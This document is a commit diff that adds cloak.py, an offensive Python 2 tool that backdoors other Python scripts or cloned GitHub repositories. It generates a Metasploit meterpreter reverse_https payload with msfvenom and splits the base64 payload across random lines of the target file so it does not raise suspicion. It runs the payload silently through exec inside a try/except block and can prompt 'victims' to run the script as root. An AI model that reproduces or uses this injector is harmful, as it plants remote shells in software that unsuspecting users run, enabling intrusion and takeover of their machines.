Add files via upload

cloak.py

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+#!/usr/bin/env python2
+import sys, os, socket, random
+from re import search
+
+#Colors and shit like that
+white = '\033[1;97m'
+green = '\033[1;32m'
+red = '\033[1;31m'
+end = '\033[1;m'
+info = '\033[1;33m[!]\033[1;m'
+que =  '\033[1;34m[?]\033[1;m'
+bad = '\033[1;31m[-]\033[1;m'
+good = '\033[1;32m[+]\033[1;m'
+run = '\033[1;97m[>]\033[1;m'
+
+#Banner
+print '''%s
+    _________  %s__%s                __    
+    \%s_%s   ___ \|  |   _________  |  | __
+    /    \  \/|  |  /  %s_%s \__  \ |  |/ /
+    \     \___|  |_(  %s(_)%s ) %s__%s \|    %s<%s 
+     \______  /____/\____(____  /__|_ \\
+            %s\/%s                \/     \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end)
+
+#Connecting to google DNS and retrieving IP address of host
+s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+s.connect(("8.8.8.8", 80))
+LHOST = s.getsockname()[0]
+s.close()
+
+#Prompting the user for LHOST
+choice = raw_input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower()
+if choice == 'n':
+    LHOST = raw_input('%s Enter LHOST: ' % que)
+#Prompting the user for LPORT
+LPORT = '443'
+choice = raw_input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower()
+if choice == 'n':
+    LPORT = raw_input('%s Enter LPORT: ' % que)
+
+def import_choice():
+    script = raw_input('%s Enter Github/File path: ' % que)
+    if 'https://github.com' in script:
+        github(script)
+    else:
+        local(script)
+
+def local(script):
+    github = False
+    injector(script)
+
+def github(script):
+    repo = script
+    directory = repo.split('/')[4] #Extracts repo name from github URL
+    cwd = os.path.dirname(os.path.abspath(__file__)) #Finds the path of cloak.py
+    os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) #clones the repo
+    os.system('cd %s && ls > temp.txt' % directory) #Navigate to cloned repo and do ls and store its output in temp.txt
+    python_files = [] #we will store the found python files here
+    with open('%s/temp.txt' % directory, 'r') as f: #reading tmp.txt
+        for line in f:
+            if '.py' in line: #if a file contains .py
+                python_files.append(line.strip('\n')) #adding the filename to python_files list
+
+    if len(python_files) == 0: #if there are 0 python files
+        print '%s No python file found.' % bad
+
+    elif len(python_files) > 1: #if there are more than 1 python files
+        print '%s More than one python scripts found.'
+        number = 1
+        for file in python_files:
+            print '%s. %s' % (number, file) #it will print all files like 1. main.py 2. run.py 3. test.py
+            number = number + 1
+        number = raw_input('%s Select a file to infect: ' % que) #asking the user to select a file to inject
+        script = python_files[int(number) - 1] #just simple maths to select the chosen file from python_files list
+
+    elif len(python_files) == 1: #if there's 1 python file
+        script = python_files[0] #fetching the only element from the python_files list
+    print '%s Payload will be injected in %s%s%s' % (info, green, script, end)
+    os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) #removes the temp.txt
+    cwd2 = os.chdir('%s/%s' % (cwd, directory)) #changes the working directory to the repo directory
+    github = True
+    injector(script)
+
+def injector(script):
+    method = 'https'
+    print '%s Generating Payload' % run
+    os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT))
+    payload = [] #a list containing 
+    with open('payload.txt', 'r+') as f: #opens payload.txt
+        for line in f:
+            payload.append(line.strip('\n')) #adds this line to payload list
+        f.close() #closes the file
+    payload = ''.join(payload) #converts payload list into a string
+    payload = payload.split("'") #converts the payload into a list by splitting it from the character '
+    base64_string = payload[3] #retireves the third *coughs* the fourth element from the payload list
+    print '%s Injecting into %s%s%s' % (run, green, script, end)
+    injectable_lines = [] #Lines where payload pieces can be inserted safely
+    imports = [] #lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
+    script_list = [] #list that contains all the lines of target script
+    number = 0 #just a variable that we will be using later
+    with open(script, 'r') as f: #opens the target script
+        for line in f:
+            script_list.append(line.strip('\n')) #adds current line to the script_list
+            match = search(r'^[a-zA-Z0-9]', line) #checks if the first character is an alphabet or digit
+            match2 = search(r'^[\t]', line)
+            if match and not line.startswith('except') and not line.startswith('else') and not match2:
+                injectable_lines.append(number - 1) #add the line to injectable_lines list
+            if line.startswith('from') or line.startswith('import'): #if the line starts with from or import
+                imports.append(number) #add that line to imports list
+            else: #If the line doesn't start with tab, space, import, from
+                pass
+            number = number + 1 #increase the value of number by 1
+        f.close() #close the file
+    if 'import base64, sys' in script_list: #searches for 'import base64. sys' in script_list
+        print '%s Seems like this file has been already injected by Cloak.' % bad
+        if github == True:
+            choice = raw_input('%s Would you like to download a fresh copy? [Y/n]' % que).lower()
+            if choice == 'n':
+                pass
+            else:
+                os.chdir('%s' % cwd) #changes the working directory to the cloak.py directory
+                os.system('rm -r %s' % directory) #removes the older copy of downloaded repo
+                os.system('git clone %s %s/%s -q' % (repo, cwd, directory)) #clones the repo
+                cwd2 = os.chdir('%s/%s' % (cwd, directory)) #changes the working directory to the repo directory
+                injector() #Calls the injector() function
+        else:
+            print '%s Please use a fresh file for injection.' % info
+            quit()
+    while True: #its an infinite loop unless its broken manually
+        #We can't insert all the pieces of payload in one place as it may raise suspicion so we will
+        #randomly select positions for those positions. random.choice(list) retrieve a random element from list
+        position_a, position_b = random.choice(injectable_lines), random.choice(injectable_lines)
+        position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines)
+        #lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error
+        if position_a < position_b and position_b < position_c and position_c < position_d:
+            script_list.insert(position_a + 1, 'var1 = \'\'\'%s\'\'\'' % base64_string[:len(base64_string)/2]) #[:len(string)/2] will give the first half of a string
+            script_list.insert(position_b + 2, 'var2 = \'\'\'%s\'\'\'' % base64_string[len(base64_string)/2:]) #and insert.list() is used to insert a element in list
+            script_list.insert(position_c + 3, 'vars = var1 + var2')
+            script_list.insert(position_d + 4, 'try:\n\texec(base64.b64decode({2:str,3:lambda b:bytes(b,\'UTF-8\')}[sys.version_info[0]](vars)))\nexcept:\n\tpass')
+            root = raw_input('%s Ask victim to run injected script as root? [y/N] ' % que).lower()
+            if root == 'y':
+                root = True
+            if len(imports) < 1: #if there are no imports in the script
+                if root:
+                    script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
+                else:
+                    script_list.insert(random.choice(imports), 'import base64, sys')
+            else:
+                if root:
+                    script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script)
+                else:
+                    script_list.insert(random.choice(imports), 'import base64, sys')
+            break #breaks the loop as the payload has been injected
+        else: #if the randomly selected variables are not in ascending order
+            pass
+    with open(script, 'r+') as f: #opens the target script
+        for line in script_list:
+            f.write(line + '\n') #writes a line to the target script
+        f.close() #closes the file
+    os.system('rm payload.txt') #removes payload.txt
+    print '%s %s%s%s was successfully injected' % (good, green, script, end)
+
+import_choice()